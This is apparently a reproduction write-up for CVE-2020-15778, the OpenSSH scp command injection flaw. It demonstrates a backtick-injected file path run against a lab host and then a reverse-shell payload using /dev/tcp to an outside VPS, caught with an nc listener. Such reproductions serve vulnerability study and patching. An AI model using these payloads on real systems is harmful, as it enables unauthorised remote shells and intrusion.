CVE-2020-15778 Vulnerability Reproduction
0x01 Vulnerability Overview: SCP (secure copy) is a Linux command that securely copies files and directories between Linux systems over SSH. OpenSSH versions earlier than 8.3p1 contain a command injection vulnerability in the SCP command. When a file is copied to a remote server, its path is appended to the local scp command, potentially triggering command injection.
Read in Chinese→0x01 Vulnerability Overview
SCP (secure copy) is a Linux command used to securely copy files remotely through SSH authentication. It can copy files and directories between Linux systems.
The SCP command in OpenSSH versions earlier than 8.3p1 contains a command injection vulnerability. When a file is copied to a remote server, the file path is appended to the end of the local scp command, potentially triggering command injection.
The vulnerable code is located at https://github.com/openssh/openssh-portable/blob/a2855c048b3f4b17d8787bd3f24232ec0cd79abe/scp.c#L989
An attacker can use a filename containing backticks (`) to inject a command when executing the scp command. The command will be sent to and executed on the remote server.
The author explains it as follows:
When a file is copied to a remote server, the file path is appended to the end of the local scp command. For example, if the following command is executed:
scp SourceFile user@host:directory/TargetFileIt will execute the following local command:
scp -t directory/TargetFileThe original post by the expert: https://github.com/cpandya2909/CVE-2020-15778/
0x02 Affected Versions
version: <=openssh-8.3p1
0x03 Vulnerability Reproduction
Environment
Target Kali machine: 192.168.100.236
Exploitation scenario: the SSH password for root is known
Check the Current Version and Host Information
ssh -V && ifconfig
Perform a Normal Connection and Copy to Learn the Command
Attacker machine:
scp 本地文件 用户@远程IP：远程地址scp ./config.yaml [email protected]:/root/zeo.yaml
#中途还是要身份验证，需要输入对应用户的密码
Victim machine: copy successful
Vulnerability Reproduction
Attacker machine:
scp ./config.yaml [email protected]:'`touch /root/zeo_eval`/root/zeo2.yaml'
#’'`touch /root/zeo_eval`/root/zeo2.yaml' 单引号包裹全路径信息
#`touch /root/zeo_eval` 反引号包裹要执行的命令
#中途还是要身份验证，需要输入对应用户的密码
Victim machine: command executed successfully
Reverse Shell Exploitation
VPS: directly add the reverse shell command to the payload and send it, then start an nc listener
scp ./config.yaml [email protected]:'`sh -i >& /dev/tcp/110.110.110.110/6666 0>&1
`/root/zeo3.yaml'
The VPS receives a bash shell
0x04 Remediation Recommendations
- Wait for an official patch
- Protect your passwords and SSH authentication credentials
0x05 Summary
Exploiting this vulnerability still presents some issues because the authentication stage must first be bypassed before remote command execution is possible. If authentication can be bypassed, the impact would be tremendous.
A practical remote command execution exploit will probably have to wait for an expert to develop one.